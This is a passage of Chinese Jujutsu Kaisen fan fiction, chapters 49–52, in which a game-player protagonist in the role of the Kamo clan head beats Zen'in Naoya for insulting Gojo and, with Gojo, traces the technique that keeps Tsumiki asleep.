随着厚重的实木包铁大门往两侧打开,不急不缓的脚步声响起,会议室内顿时噤声一片。 刚才还吵吵嚷嚷到面红耳赤的老头们,瞬间安静如同被掐着脖颈的鸡。 烛火摇曳下,那道暗影被不断拉长,随着走动而在每扇障子门前都短暂停留了片刻,反而让整间会议室变得愈发寂静,连呼吸声都几近于无。 直到布料窸窣的摩擦声后,偏低的冰冷声音自其中一扇障子门背后响起。 “我提议虎杖悠仁成为四级咒术师,谁支持,谁反对?” “支持。” “支持。” “老夫也支持。” “无异议。” “同意。” …… “——很好,全票通过。” 第49章 羽取一真的露面极其短暂, 只是招呼总监部一起开会,走个过场,提案就被全票通过了。 他还以为高层会出声刁难几句, 倒是没想到这帮老头答应得如此痛快。 看来就算是悟口中的蠢货, 也至少学会了能屈能伸。 伏黑惠得知虎杖悠仁真的通过四级咒术师评定时,震惊到险些被汽水呛着。 等后续再听说他拿到进入咒术高专的许可,平时会过来跟着真希学姐和五条老师学体术之类,反而让伏黑惠心底产生用一种诡异的[啊,这听起来挺合理]的平静感。 “等请假结束之后,我就会在下午的社团活动时间过来这边学习啦!” 虎杖悠仁笑得灿烂, “以后请多关照,伏黑!” “…………” 伏黑惠被这过分阳光的笑容给晃了下眼, 才默默开口, “嗯, 这边也是。” 他们今天在高专的校门口等着, 是因为五条老师和他们说之前那位家里有事而一直没来的一年级新生,今天终于来到了东京。 而他们此刻在等五条老师和加茂老师, 然后就要一起出发去原宿接人。 用五条老师的话来说就是“正好可以互相熟悉一下,然后搞个实地测验之类的试炼嘿!”。 不过,他们已经站在这里等了好一会儿,也没有见到五条老师他们的身影。 “怎么还没来。” 伏黑惠已经喝完了两罐汽水也没见到半个人影, 开始掏出手机, 准备打电话催促。 然后被虎杖悠仁叫住了,两只手在他眼前比划来比划去, 半天也没看懂这到底想要表达什么意思。 伏黑惠:“……嗯?” “那个啊,该不会是他们,就是那个……” 还是纯情男子高中生的虎杖悠仁吭哧吭哧半晌, 最后小声又飞快的憋出一句。 “我昨天早上看见加茂老师从五条老师的宿舍里出来。” “…………” 伏黑惠虚起眼睛,神色如常的收起手机,只沉默吐出一个字。 “噢。” 虎杖悠仁反而大惊,“你竟然一点都不惊讶吗!” “有什么好惊讶的。” 伏黑惠这句话说得格外心累。 要是说给别人听,那可真是格外惹人遐想的一句话呢——但对他有什么用,他从一开始就知道这两个人都住进同一间公寓里了,甚至差点把他拎过去当大灯泡。 这两人到高专也住在同一间宿舍里,那只能说是正常操作,半点也不需要感到奇怪。 虎杖悠仁在旁边小心观察他的表情。 “……哇,总感觉你似乎经历了很多事情呢,伏黑。” 幸好他们没有真的很等很久——穿着惯常那套纯黑制服的五条悟从远处朝他们这边走来时,还挥了挥手,看起来心情很好。 “咦,加茂老师呢?” 虎杖悠仁往他身后看了好几眼,确定羽取一真没有跟过来。 “他另外有点事情处理,今天没有空和我们去接野蔷薇了哦。” 五条悟笑眯眯的歪过脑袋,每一个字里都透着开心。 “也不知道今天谁会倒霉呢,哈哈。” 这声“哈哈”,一听就是在幸灾乐祸,甚至还挺遗憾自己不能跟着去。 伏黑惠对此很是习以为常,“加茂老师那边不要紧吗?” “没事没事,不用担心他,他只是有事回京都一趟。何况,” 五条悟摆摆手,吐字间仍透着尚未彻底消散的笑意。 “只要他对上的还是个人,就绝对不可能出事啦。” “好了好了,我们出发——” ………… 京都,加茂宗家。 依旧按照之前的规矩,羽取一真坐在主位,加茂乃吉跪坐在侧方,旁边还有位加茂的长老,好像叫加茂康介来着。 “我们已经将加茂家所拥有的藏书全部翻了一遍,没有找到与这个咒纹相关的术式。” 被紧急喊回京都,加茂乃吉的开场第一句话,就让羽取一真的眉心蹙了起来。 一见这位活阎王有点不高兴了,加茂乃吉赶紧把后面的话说完。 “可这是不合常理的,因为曾在书中见过这个咒纹的人并不止一两位,不可能大家全部都记错。” 羽取一真冷淡“嗯”了一声,示意对方继续往下说。 “我们能想到的可能性,就是有人暗中曾对藏书动过手脚,将这部分的内容全部抹去了。” 讲到这里,心脏都快提到嗓子眼的加茂乃吉停顿片刻,偷偷瞄了眼家主没什么更生气的反应,便略微侧过身,让加茂康介成为接下来谈话的重点。 “康介说他想起他很多年前,曾经给过禅院家那边一本他的誊抄手札,其中应该有记载这个咒纹的线索。” “禅院家……” 羽取一真记得悟给他介绍的,禅院既是御三家之一,同时也是伏黑惠的本家。 “那就去要回来看一眼。”他淡淡道。 “我们也发消息过去了……” 加茂乃吉底气不足道,“禅院家那边说如果想要那本誊抄手札,需要请您亲自过去取。” “为什么?” 羽取一真确定自己除了伏黑惠,并不认识其他禅院家的人。 “总监部。”加茂乃吉小声提醒。 羽取一真:“…………” 忘记禅院家的那帮老头也是总监部的高层之一了。 “所以呢,” 羽取一真冷冰冰盯着加茂乃吉,立刻听出了对方的话外之意。 “他们想拿誊抄手札来要挟我?” 这句话透出十足的似笑非笑意味,感觉对方已经各种意义上死到临头的加茂乃吉不敢吭声。 老实说,他觉得他们可能也没有想要[要挟],顶多就是[磋商]…… 毕竟这位活阎王几乎没有弱点——应该说,目前确定的唯一弱点五条悟,也没人能拿捏得了对方。 好不容易有了个能攥在手里的谈判物,大家怎么说都是想挣扎一下的。 至于为什么是请他去禅院家,而不是他们来到加茂家…… 在总监部和加茂家,这位活阎王堪称杀得肆无忌惮,根本不在乎尊卑礼仪,也不在乎自己的名声。 去了人多口杂的禅院家地盘,总该收敛点他那凶残又冷酷的阎王做派了吧? 如今,五条家反而是暗地里最高兴的,既高兴又庆幸,因为加茂家主要是真能和五条家主成功联姻,他们也会跟着受益,禅院家就成了弱势方。 还不用像加茂家的族人那样,每天都要干16个小时的活。 而且按照他们偷偷打听到的最新进展,那两位甚至在高专都睡同一间宿舍了! 离成功仅差一步! 也是出于这个原因,禅院家其实还有很强的危机感。 要是真让加茂家和五条家联姻成功,势力合并,他们在总监部将彻底失去话语权——遑论一想到五条悟未来要登上首座的位置,底下还有个活阎王给他压阵,那更是叫人犯心梗。 因此,在听到禅院家这边可能有加茂家主迫切需要的东西之后,禅院家还是想要尝试着挣扎一下的。 但这话听在羽取一真的耳朵里,就完全变了个味道。 玩家,竟然,被npc,威胁了。 “那就去一趟禅院家吧。” 他起身朝外走去,越过加茂乃吉他们时,随口落下一句语气平淡的话,尾音消散在瞬间紧绷起来的气氛里。 “就算要我杀光整个禅院家拿到手札,也不是什么难事。” 加茂乃吉放不容易放松下来的一口气,立刻又堵在喉咙,哽着咽不进去。 ……怎么就直接想到要屠干净整个禅院家啊! 接到加茂乃吉紧急发来的通讯,禅院家那边也陷入了沉默。 “要不,直接交出去算了。”其中一位长老提议。 他可一点也不想惹对方发怒,然后被迫步上前田康夫的后尘。 不,好歹前田康夫还能活下来,但他听活阎王的这句狠话,是连命也没想给他们留…… “咱们这边好不容易有了个能让那位放在心上的东西,总得拿它来换点什么吧?” 另一位长老双手揣在衣袖里,显得有点不满,但一时之间也给不出好提议。 但要就这样什么也不要的给出去,又感觉亏得慌。 “那你倒是瞧瞧他的作风,加茂家那边过半数的老伙计们,现在腰上还贴着膏药,天天半夜找人给推拿按摩。” “前田可是连着吃了几天的那个来着……” “一言不合就拿枪指人……” “听乃吉说他开枪杀咱们时,连眼睛都不眨一下……” “前首座不就是那位大人被步步紧逼到不得不灭口……” 越说下去,整间会议室的气势越低迷,大家都沉默低垂着脑袋,看向摆在桌面中央的这本旧手札。 好像,似乎,直接上供,才是唯一能走的路啊。 在这弥漫着灰败与绝望的深重安静之中,传来纸门被拉开的声音。 “各位在烦恼些什么呢?” 带着轻佻笑意的声音,在这间会议室内响起得格外突兀。 “唔哇,好糟糕的氛围呢。” 他环视一圈,有点被吓到般耸了下肩膀,在其中一个空位坐下。 “直哉,你来得有点迟了。”其中一位长老出声训斥,“直毘人有事,你也有事吗。” 代替禅院家主前来开会的禅院直哉笑着对在座长老们说“对不起嘛”,本人却是保持着相当无所谓的态度。 “不过是个新上任的加茂家主,有必要让各位长老如此大动干戈?”他漫不经心道。 “听说一上任还跑去找五条悟联姻?这听起来可真是滑稽。” 加茂家不可能让自己内部人被家主所杀的消息流出,总监部更是难以透露羽取一真动辄威胁他们的那份耻辱,以至于禅院直哉如今对加茂家主的最大印象,还停留在对方跑去找五条悟联姻的那件轰动传闻。 简直笑死人了。他想。 “……你不懂。” 另一位长老欲言又止,还是没有透露出内幕,而是严肃警告道。 “等会那位家主过来,不要拿现在这副态度对待他,恭谨些。” “是吗?” 禅院直哉慢吞吞应了声,好似终于拿出了认真的姿态,又好似根本只是在敷衍。 他倒要去看看对方什么来头。 第50章 羽取一真坐车到达禅院家时, 对方接待的排场相当隆重。 倒不是那种两排花篮加红地毯之类的迎宾架势,而是指仆人站满了庭院道路的两侧,弯腰恭迎加茂家主大驾光临。 羽取一真的黑瞳微动, 朝左右粗略扫了遍, 发现在总监部会议室里见过的那些个老头,这里倒是一个都没见着。 可能是怕他进门就开杀。 之前他去五条家过新年,都没有这种待遇——那还是加茂长吉特意先沟通过的,两家也没有交恶的情况下。 难道禅院家的规矩会更特殊一点吗? 于是他侧过身,视线落在后方半步的加茂乃吉身上,暗沉沉的, 充满了无言的压迫感。 这个眼神的意思很明显——解释一下,饶你不死。 突然就感觉飞来一把刀架在自己脖颈上的加茂乃吉:“…………” 他将竖起的手掌挡在嘴边, 对着加茂家主小声又飞快的交代道。 “我向他们传达了您的意志。” 这话说得挺有水平, 连羽取一真都对他抬了抬单边眉梢, 算是暂时先把这个账揭过去了。 加茂乃吉跟着后面, 为自己保住条小命而长出口气。 也不知道为什么,他活到这个岁数, 风光了大半辈子,如今反而越来越窝囊……唉。 算了,看眼他的长兄长吉,又觉得自己好歹还能继续活着。 禅院家的建筑风格与加茂家差不多, 大差不差的枯山水庭院, 同样百转千绕的建筑结构——唯一区别则是现在加茂家和五条家的庭院,通通都被羽取一真变成了菜地。 顺着仆人的一路指引, 羽取一真来到这间气氛比起肃穆、更接近于死寂的会议室,直接在那个特意空出来的主位坐下。 他还没有出声,先有人表达了不满。 “喂喂喂, 有点礼貌好不好啊,加茂家的家主。” 这句话刚响起在会议室内,就被另一位长老用眼神呵斥他快住口。 “直哉,注意分寸!” 羽取一真微抬视线,甚至是有点诧异瞥向那个名叫[直哉]的青年——没有染匀的金色短碎发,眼尾上挑,打了多处耳钉。 倒是阔领衬衫加短款纯黑小袖的穿搭设计有点特别,羽取一真多看了两眼。 “你有什么意见吗。” 除此之外,他并不觉得对方有什么敢来挑衅他的资本。 这句等同于[你想怎么死]的话音一落,长老们的冷汗都快冒出后背了,在心里狂骂把禅院直哉喊过来替他开会的禅院家主——禅院直毘人。 但要是换成一个坐在这里不停喝酒、根本不把他人放在眼里的直毘人……长老们甚至觉得这会议别让家主来参与也不是不行。 可加茂家主都屈尊过来了一趟,这边如果不跟着派上一位禅院家主接待,万一也惹怒了这位活阎王怎么办? 于是,场面就变成了如今这样——身为家主之子、内定的下代家主禅院直哉,正在出声挑衅那位与他岁数相差无几的黑发青年。 甚至无视了长老的凌厉眼神,根本没有往对方那边瞧。 “我听说了哦,你这个不知道从哪里冒出来的新家主。你的术式是什么?” 没想到在加茂乃吉传达完他放出的狠话后,还有禅院直哉这种态度相当轻浮的npc主动出声挑衅。 “赤血操术。” 出于[这个npc是不是很强]的些许谨慎心理,羽取一真先姑且顺着他的问题答道。 “哼……只是赤血操术而已啊。没想到自宪纪君过后,还有你这样继承了家传术式的术师嘛,难怪能当上家主。” 禅院直哉从怀里取出那本誊抄手札,手腕随意的带着它甩来甩去,泛黄折角的纸张相互摩擦,在会议室内发出轻微的声响。 “结果啊,你竟然会跑去找悟求婚,真的超好笑——啊拜托,你该不会认为自己只要靠脸勾搭上了悟君,就能和他们站在同等高度上了吧?” 另一只没拿手札的手指向自己的脸,禅院直哉好似在叹息,话语里却带着明明白白的嘲笑意味。 “你这样还算是男人吗?要是会被你这样的小白脸引诱成功,我看悟君的[最强术师]名号,也得让给别人来坐了吧?” 此话一出,满场死寂。 加茂乃吉以及其余几位长老,已经是倒吸一口凉气的程度了。 平时就知道这小子一贯的嚣张跋扈,总认定自己是下任家主,又有特别一级术师的实力,便不将任何人放在眼里。 但此刻被他挑衅的对方是谁,整个高层都拿他束手无策的活阎王啊! 他该不会以为这位加茂家主与他差不多年龄,术式又是早已被御三家针对性研究透了的[赤血操术],哪怕最后闹掰打起来,自己也能稳操胜券了吧? 还是说,他认为这位加茂家主会顾及他们都在,所以就算挑衅也不会当众发怒,始终维持着家主体面? 当下会议室里的气氛已经窒息到就连咽口水,都会被嫌动静吵闹的程度了。 “让给别人?” 在这近乎凝固的死寂中,羽取一真开口。 “你想让给谁?” 他望过去的黑瞳暗沉,盯着那本被禅院直哉随意甩在手里,根本不在乎会不会被损坏的誊抄手札。 与此相对,加茂乃吉以及其余加茂长老的视线已经开始在桌下与门外之间隐秘地来回逡巡,思考到底等会是钻进桌底比较安全,还是干脆跑出门比较安全。 “哈,不好说呢——但现在,你很想要这本手札对不对?” 禅院直哉注意到了对方的视线,眼底戏谑的意味变得更恶劣,近乎是轻蔑的开口道。 “不如把你勾搭男人的本事拿出来让我看看,你到底是怎么讨悟君欢心的,如何?” ——说完这句还嫌不够似的,他又补充了一句。 “啊对了对了,记得带上点笑容喔,我可不喜欢对着张冷冰冰的脸。” 在对方始终面无表情望过来的目光里,禅院直哉很是恶趣味的偏过脑袋,仿佛正好整以暇等着瞧这位加茂新家主的应对方式。 他只是看不起实力弱的杂鱼,但不等于会因此掉以轻心——哪怕是他极尽挑衅的言语背后,也有随时准备发动的[投射咒法],作为躲开对方攻击的后路。 反正,要是这家伙受不住言语刺激而动手,不仅无法攻击到他,还会在两家长老面前丢人。 如果真的能忍耐下来不动怒,那倒是变得更好欺负了。 无论哪种方向,就是他增加威望的好时机。 禅院直哉漫不经心想道。 不过是个看起来有几分气势的家伙,但[赤血操术]的攻击前摇劣势又怎么可能比得过他这以高速闻名的[投射咒法]? 哎,毕竟这帮能坐上高位的家伙也都老掉牙了,就算以前拥有术式,能够战斗又怎么样?他又不会真以为这些人是靠祓除咒灵的功绩,才会坐到那个位置上面的。 还不是靠着御三家的庇荫,才能让他们在这个体系中还拥有一席之地。 至于眼前这个黑发青年。 禅院直哉的脸上仍旧挂着轻佻笑容,在暗地里等着对方的任何反应,无论是言语,还是那闪着黑光的拳头—— 等等,闪着黑光的拳头? 这个念头只在禅院直哉的脑海中闪过了一刹那。 下一刻,巨大的力道带着他后仰、翻转、沉重地撞击在障碍物上——在没有任何人反应过来以前,禅院直哉已然撞塌了一整面墙,倒在木屑断裂纷飞的废墟之中。 呛出一口混着碎牙的血,禅院直哉的脑袋都是懵的,完全不明白自己为什么会没反应过来,在发动[投射咒法]前就已经被对方击中了。 话说那是什么,[黑闪]吗?为什么他能起手一击就用出[黑闪]? 禅院直哉感觉自己被那一记重击给打得有点脑震荡,耳边正发出剧烈的嗡嗡作响声,连看到的画面与听见的动静都发生了错位。 他刚要出声说点什么时,就发现对方又对着他握紧了拳。 ——羽取一真可不打算揍一拳就停下。 说到底,[赤血操术]是控制血液的技能,无论给对方造成了多大的伤害,都没有拳头带给他的打击感强。 至于对方试图反击…… 【[戒禁取见]:在一定时间内内混淆目标的五感与知觉。具体效果在发动后随机生成,可中途解除,或持续发动至咒力量消耗殆尽。】 【当前发动目标:禅院直哉。】 【当前随机效果:延缓大脑接收视觉的时间。】 【随机时间:2秒。】 这个随机出的效果不算强大,对那种可以闭眼只依靠听觉来战斗的目标而言,更是毫无用处。 但至少目前,他拿来对付这种人,已经够用了。 见禅院直哉想要挣扎着逃离,羽取一真冷漠的,毫不留情的,再度抬起拳头。 [黑闪]! 当又是连续几击重而沉的黑色洪流,如雷鸣般闪烁在这间会议室内时,在场长老们面面相觑,几乎没有人敢上前阻拦。 说出直哉的下代家主身份,好让这位活阎王愿意收手? 得了吧,在座的各位还都是总监部的高层呢,也没见他动手犹豫过。 而且看看这个恐怖的攻击方式,挥拳既是黑闪!也就直哉这个年轻人皮糙肉厚了,换他们来,谁能挨得一拳? 加茂乃吉已经开始悄悄撤退,争取离正在动手的自家家主越远越好。 隔壁还有禅院家的熟人在拿眼神谴责他。 看你带来的加茂家主,一言不合就动手! 加茂乃吉毫不犹豫的瞪回去。 谁先挑衅的?那话家主能爱听?都让你们直接交手札了! “你算什么东西,也配跟悟比。” 当躺在榻榻米上的那家伙已经被揍到半死不活、仅剩奄奄一息的那几口气时,已经把人从会议室揍到走廊又揍回会议室的羽取一真才收手而立,居高临下的视线冰冷且轻蔑。 “禅院家的人愿意高看你一眼,你却真拿自己当回事,觉得自己也能和悟相提并论。” 他俯身从榻榻米上捡起那本誊抄手札,甩手扔进加茂乃吉的怀里,让后者收好。 “悟的脾气好,不计较有些肮脏的蝇虫在背后贬低他。但我不一样。” 那双平时冷淡的黑瞳此刻已透出十足的凌厉与愠怒,一个一个的,将在场所有人都扫视过去。 “来啊,谁还想对悟大放厥词,来说给我听听。” 无人开口。 甚至连为禅院直哉出声的人也没有,这间会议室里的所有高层都保持着一种绝对纵容的安静,默许了羽取一真的暴行。 “不过是跳梁小丑的东西,也敢端到我面前来。” 第51章 “[垃圾, 下次想明白该怎么对悟说话,再开口]。” 五条悟看完这起告状到他这里来的冲突事件,对着手机逐字逐句念完最后这句被转述出来的台词——甚至还特意摘下眼罩——后, 才抬头望向正坐在自己面前的黑发青年。 “嗯?” 这句羽取一真最后放出的狠话被他用带着笑意的口吻念出来, 再搭配一个尾音上扬的疑问词,瞬间少了十分的威胁,再添十二分的可爱。 他只是去涉谷接了个学生回来,就听说京都禅院家的家主之子快被人打死了,急求会反转术式的硝子医生救救耶,也不知道凶手是谁呢, 好厉害喔。 羽取一真眨了下那双看着五条悟的黑瞳,坐姿相当乖巧。 “他先惹我的。” 说完, 他还从怀里取出那本誊抄手札, 端正摆在五条悟的面前。 意思是——你看, 谁让他故意不给我手札, 还要出声贬低你。我只是稍微揍了他几拳,把东西拿回来, 就放过他了。 都没有杀掉那个嘴臭的,是玩家善。 认错?他不可能认错的,玩家在剧情游戏里被各种主线支线人物贬损几句很正常,但那家伙竟然还敢对漂亮大悟出言不逊。 骂他可以, 骂漂亮大悟不行。 五条悟看了眼那本手札, 又抬眼看着眼前这位双手放在腿上、腰背挺直,怎么看怎么都是属于稳重、冷静又成熟那种类型的黑发青年。 但事实是, 他能因为禅院直哉蓄意挑衅了几句,而选择在对方地盘上直接抡拳把人打得濒死,差一点就没抢救过来。 大家都能看得出来是禅院直哉故意激怒羽取一真的, 但大家都没想到羽取一真会如此凶残,一声招呼都不打就直接发难。 看着那简直跟吃饭喝水般轻松打出的连续[黑闪],直到最后也没人敢上去拦羽取一真。 特别一级术师的禅院直哉都毫无还手之力,难道他们是特级术师吗? 只能说万幸的是这位活阎王还算是愿意勉强收手,留了禅院直哉一条命——条件是等后者伤好以后,必须亲自来向五条悟道歉。 而此时此刻,羽取一真也是用这个理由,认真为自己辩解。 “我都没杀他。” 听到这话,五条悟的表情明显变得有点忍不住笑,终于伸手去揉这个为自己出气的加茂家主脑袋。 怎么会这么可爱啊,这个明明总是一本正经板着脸的家伙。 “——我本来以为你会强迫他们吃饭,或者用你的那个术式教训一下。” 他说出口的每个字里都带着亲昵的愉快笑意,几乎没有遮挡的苍瞳也是弯起的;当他前倾身体,越过桌面去揉乱羽取一真的黑发时,细碎的纯白刘海柔软垂落着,发梢在跟随动作一晃一晃,可爱极了。 “结果竟然是用拳头揍人,哼哼,你这家伙比我想象中的还要暴力一点嘛。” “他说你坏话。” 羽取一真没有反抗,但格外振振有辞道。 “哈哈哈,就算当着我的面说我性格很差的也不少哦?” 五条悟笑眯眯的,这句话刚一出口,就见到对方还乖巧的眼神顿时凌厉无比,仿佛在问——还有谁?他全去宰了。 “…………” 有点想笑,又觉得他实在很可爱,那就再多揉几下脑袋好了! 至于给他打小报告,说龃龉再严重也不该险些打死人的禅院那边?嘿啊,他们是怎么认为被说了坏话的自己,会去愿意做表面功夫,训斥为自己出头的黑发青年? 那家伙不是用反转术式救回来了吗?至少现在又能活蹦乱跳的。 说到底,还是禅院家那边获悉的情报不够多,那帮老家伙又含糊其辞的不愿透露细节,竟让底下的人还以为能用普通招数来对付羽取一真。 心满意足收回手的五条悟,这才重新拿起那本可以算是半抢半送的誊抄手札。 “资料全被销毁,只剩这种漏网之鱼被漏下什么的……真不希望出现这种局面啊。” 这不就意味着敌人除了总监部以外,也早就在加茂家埋了眼线吗……这种密谋深远的局早在数十年前就布下了,而他们至今甚至还不清楚对方到底想要做什么。 如果是统治咒术界,可以说他在掌控总监部的那一刻起,基本就已经成功了。 “嗯。” 羽取一真替五条悟翻开其中夹着书签的那页,“这确实是一个术式。” 按照手札的记载,这是一个远程的链接性术式,用来让附加术式能够对目标远程发动的一种通用简易术式,就像为了输送电流而需要提前布置导线。 被种下这个术式的人,身上会浮现出与津美纪身上相同的咒纹。 由于这个术式在最初被开发出来时,并不是给非咒术师使用的,因此也没有特别注明会使人昏睡。 又因为这是本外借的誊抄手札,全文根本没提关于术式的发动原理,只简单做了效果介绍,又在侧边画出一个咒纹作为示意图,共计花费半页纸。 五条悟有点不死心,捏着那页纸来回翻了翻,又将整本手札哗啦啦的大致浏览过去,发现除去那几句介绍外,真的没有其他东西了。 “嗯……算了,至少能确定这就是个术式,而非咒灵下的诅咒。” 他撑着脑袋嘀嘀咕咕,将那本手札合上。 “津美纪也有可能是承受不住术式的咒力才昏睡呢……如果是非术师的话,就很有可能嘛。” “有办法找到谁是凶手吗?”羽取一真问。 即使找到了这本手札,那个隐藏委托仍然显示未完成……也就是说,他可能必须得追查到幕后黑手的身份才行。 “如果是相同咒力的人出现在我面前,我的眼睛绝对能分辨出来。” 五条悟苦恼的皱起眉毛,一手撑着脑袋,另一只手也开始把玩起那本已经没什么用的誊抄手札,每页纸都被拨来弄去,甩出轻微的哗啦动静。 “但我毕竟不是狗狗啊,咒力残秽也不是气味,会留在原地等我一路闻过去……” 这个形容实在有些可爱,不过羽取一真觉得漂亮大悟比起狗狗,更像是猫猫…… 或者雪豹也行,毕竟一米九真的很大只。 连玩纸的小动作都可爱极了,羽取一真看得目不转睛,全然忘记昨天他看见禅院直哉这么对待手札时,没等对方再说几句话就一拳揍上去了。 “这样啊。” 羽取一真点了点头,有些遗憾。 “不过呢,虽然我们暂时找不到凶手是谁,但知道这是术式就好办啦!” 五条悟的表情又变得高兴起来,“我们可以找到能破坏术式的咒具,再搭配上反转术式,就可以让津美纪醒过来了喔!” ——但这副表情只维持不到一秒,就又立刻蔫巴巴了回去。 羽取一真有点困惑,“怎么了?” “能够强制解除一切术式的[天逆鉾]——” 五条悟握拳轻敲自己的脑袋一记,发出干巴巴的轻快笑声,“被我在11年前就毁掉啦!” “能令所有术式效果发生紊乱,相互抵消的[黑绳]——” 他再轻敲了脑袋第二记,继续发出干巴巴的轻快笑声,“被我在去年毁掉啦!” “……”羽取一真眨了下眼,“那还有其他这类的咒具吗?” “哈哈——没啦!” “———” 羽取一真没有回答,而是微微眯起黑瞳,显然是有点想笑,又要强行按捺下去的模样。 如果他不是习惯性冷着脸的类型,可能已经憋不住笑起来了。 会有这样的结果,五条悟也很无辜。 “再怎么说,也不会特意留着能破坏我术式的危险品……” 谁让这两样东西都给他造成过麻烦啦。 不过,脑筋灵活的五条悟也当即拿出电话,手指飞速滑动找到其中一个联络人,拨通—— “啊忧太,现在需要你紧急出发做一个寻找[黑绳]的海外任务,而且不能跟任何人说哦!拜托啦!……对对,就是米盖尔用的那个[黑绳],跟他回非洲找找看还有没有多余的嘛——就是这样噢,没错,其他的没有啦——感谢忧太!” [天逆鉾]是没办法找到第二把了,但[黑绳]还是可以努力一下的! “就是这样,” 五条悟挂断电话,刚刚还刻意放软的声音又因正事而立刻恢复正经。 “如果运气好,我们可以找到[黑绳],用它来解除津美纪身上的术式。等她醒来,或许就能问出她在昏迷前,最后接触的人是谁了。” “毕竟,按照这本手札上的说法,种咒纹是需要术师本人与被咒者接触的。” 这么一听,幕后黑手的真实身份已然近在咫尺,他那领域展开的技能奖励突然就变得很有希望。 羽取一真心底也松口气,“那就好。” “好了,这个就暂时等忧太那边的消息,先瞒着惠,到时候再给他一个惊喜。” 五条悟双手拍在身前,笑着望向羽取一真时,窗外的阳光也随之溜进他那双如晴空延伸的苍瞳里,呈现出一种在晨曦薄雾与湖面交织下,又泛起浅淡灿金的粼粼光泽。 璀璨又瑰丽,漂亮到让羽取一真挪不开视线,连那传入耳中的话也是有听但没懂,只跟着点了下头,看那架势倒是挺沉稳的。 但五条悟与羽取一真这段时间总是形影不离,轻易发现了后者的不对劲。 他一边反省自己[因为知道对方喜欢他的脸所以总摘眼罩是不是有点作弊耶],一边又纵容的想着[哎呀喜欢脸的话就让对方多看一会儿也没关系嘛]。 于是,这场发生在教室里的秘密谈话,最后变成了两人谁也没再开口,而漂亮大悟上半身前倾,手肘撑着桌面,掌根托腮,笑眯眯放任羽取一真继续盯着他脸发呆的场景。 直到哗啦一下开门声传来,钉崎野蔷薇的声音懒洋洋响起。 “嗨——对战练习已经结束了,五条老师、加茂老师,你们到底谈完没有……打扰了。” 重新哗啦一下关上门,钉崎野蔷薇转过身,面对正被她这一连串动作搞得摸不清头脑的伏黑惠和虎杖悠仁。 本来的课程安排是请二年级学生过来一起做对战练习,五条老师从旁指导。 但加茂老师刚从京都回来,五条老师就把对方拉到空教室里,说是秘密开会什么的……一直到对战练习结束也没出来,反而是乙骨前辈突然接了个紧急任务电话,匆匆忙忙就离开了。 而钉崎野蔷薇现在都大咧咧去开门了,怎么又突然退出来? 面对这两位同学的困惑,钉崎野蔷薇思考片刻,拇指潇洒往后一指,简明扼要的总结道。 “那氛围太闪了,我的眼睛差点被蹦出来的星星和小花扎瞎。” 虎杖悠仁、伏黑惠:“…………” 啊,突然就懂了。 第52章 “又失败了……嗯, 也算是不出所料。” 身穿袈裟的青年坐在走廊之下,但根本无心欣赏眼前的风景。 他将捏在手中的那张纸放在身侧时,原本仅有几道折痕的信笺上, 又多了数道成放射状裂出的褶皱。 这句话并没有包含太强烈的情绪, 可檐角风铃已一声比一声摇得更急促,好似被某种无形的凛风催动,却又仅是自身在不断震颤—— 直至骤然迸裂,碎片散落满地。 到这时,他好似才吐出一口胸中的烦闷浊气,将那张纸又重新收回在怀里。 “如果[容器]没能去他该去的位置上, 那么一切计划也谈不上开始。” “而若是被他们发现我如今的躯壳身份……则更是糟糕透顶。” “这个人,甚至已经与虎杖倭助接触过了, 也找到了我留下的[印记]。” “竟然还想夺取总监部首座的位置, 荒谬至极。” “一切都在向最坏的方向发展啊……只因为有这个家伙存在。” 自言自语的话语, 却一句比一句显得更低沉, 掩埋在心底深处的恼怒同样再明显不过的倾泻而出——这千年来的隐姓埋名,可不是为了在最后时刻功亏一篑的! 明明都得到了如此好用的身体, 明明此前的计划一切顺利,他正期待着将那混沌中心的黑暗握在掌心,亲眼目睹它的样貌! 真是让人丝毫也高兴不起来的家伙,极端多余的存在, 无法预料的变数。 而那家伙, 距离找到自己的真正身份,仅差一步之遥。 不, 或许那个虎杖倭助早就发现了些什么,只是一直忍耐着,直到临终前才吐露了遗言。 “墨菲定律吗……真是讨人厌啊。” 袈裟青年的眉心依然紧蹙, 烦躁与焦虑这类情绪罕见充斥着他的内心,就如同回到了当初他发现尝试杀死[六眼]与[星浆体]、也无法打破咒力的宿命轮回时所感受到的恼怒,甚至更加难以忍受。 但在下一个时刻后,他便将这如潮涌般的情绪尽数收敛回去了,自面色上再看不出任何异常。 “[封印]的名额,已经满员了。” 袈裟青年将手掌摊开,好似正托着什么东西。 “而行事毫无顾忌、却能直指中心的你……正好,我也已了解得差不多了。” “嗯,幸好还来得及。” ………… 气温比之前升得更高了,虫鸣声从早响到晚,将这夏季催得一天比一天炎热。 羽取一真抬头望向灿烂热烈的阳光,不禁感叹这游戏在温度方面竟然也模拟得如此真实。 再穿着那身初始装备送的的纹付羽织袴去太阳底下晒,就会热到随便活动几下就会一身汗的程度。 因此,羽取一真也开始天天穿着漂亮大悟之前买给他的衬衫加长裤,意外的大受好评。 用虎杖悠仁的话来说,就是“换了这身便服后,忽然感觉加茂老师亲切好多”之类的,接着在被伏黑惠淡淡告知那一串零的价格后,倒吸一口凉气。 突然又感觉不那么亲切了啊……! ——这句话倒是开玩笑的,虎杖悠仁一直都很喜欢五条老师和加茂老师,尤其是发现后者竟然轻松给他讲题、甚至帮忙补落下的功课之后,更添一分崇拜。 他还以为咒术高专的教师都像五条老师那样,只负责教咒力相关的知识呢,没想到加茂老师竟然连这么难的高中考点都懂,超厉害! 羽取一真对此只能沉默以对,完全没办法说出原因。 ……毕竟,这些也是他去年刚学完的知识点。 除去当高专教师的时间外,五条悟就会带着羽取一真到处逛,钓鱼、买甜点、打游戏、打高尔夫球,或是特意去居酒屋坐着,但点了两杯无酒精饮料,惹得调酒师频频投来难以置信的震惊眼神。 “我是因为不能喝酒啦,你怎么不点一杯酒喝?” 五条悟慢慢抿着杯子里的气泡苹果汁,很好奇羽取一真为什么不点杯鸡尾酒,而是跟他一样,要了杯不含酒精的脱醇葡萄汁。 两个大男人坐在酒吧里却不点酒,被调酒师用那种眼神盯也不奇怪啦。 “我也是不能喝酒。” 本体还没到法定饮酒年龄的羽取一真淡定回答道,又反过来问五条悟。 “悟是因为酒精过敏,所以才不能喝吗?” “嗯?倒不是酒精过敏啦……” 五条悟边特意从玻璃杯里挑出冰块,含在齿间咬得咯啦咯啦作响,边压低声音和羽取一真解释。 虽然大声点也没关系,但最强如他,也是会感觉有点不好意思的…… “喝酒的话,我术式的输出功率会不稳定。” 五条悟小小声和羽取一真说道,“就像原本只打算打出硬币那么大的[赫],结果手一抖输出了太多咒力,打出炮弹那么大的[赫]……” 